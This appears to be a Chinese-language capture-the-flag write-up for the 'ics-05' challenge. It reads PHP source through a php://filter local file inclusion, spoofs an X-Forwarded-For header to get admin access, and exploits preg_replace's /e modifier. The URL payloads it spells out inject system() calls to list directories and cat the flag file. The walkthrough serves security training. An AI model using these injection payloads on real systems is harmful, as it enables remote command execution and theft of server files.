preg_replace的基本语法:
$pattern中含有/e的后缀时会发生解析错误,会执行$replacement中含有的命令。
例:攻防世界ics-05
进入网页,发现云平台那个位置可以点击,点击后url出现一个参数
并且可以修改随意显示,改为index.php后显示ok
PHP的filter强制读取操作,
改page的值为page=php://filter/read=convert.base64-encode/resource=index.php
查看源代码,发现base64,解码后审计
就是说可通过伪装xxf来进入admin模式,回到开始的界面
打开burp,抓包并加上 X-Forwarded-For:127.0.0.1 如下
response后显示如下
再审计前面的代码
这就是preg_replace漏洞的利用,传入的pat为要搜索的模式,可以是字符串或一个字符串数组,rep为被替换的字符,sub为要搜索替换的目标字符串或字符串数组。
构造url: index.php?pat=/bug/e&rep=system('ls')&sub=bug(传入的类型默认为string,不用加'')
在刷新时用burp抓包,添加XFF为127.0.0.1
观察到:
需要定位到dir那个文件,
构造:index.php?pat=/bug/e&rep=system('cd s3chahahaDir; ls -la')&sub=bug
cd是定位当前目录,ls是显示当前目录文件, -la显示隐藏文件
如下:
发现flag目录,继续以相同的方法进入
构造:index.php?pat=/bug/e&rep=system('cd s3chahahaDir/flag; ls -la')&sub=bug
如下:
cat该文件,在网页管理器中找到flag
构造: index.php?pat=/bug/e&rep=system('cat s3chahahaDir/flag/flag.php')&sub=bug
完毕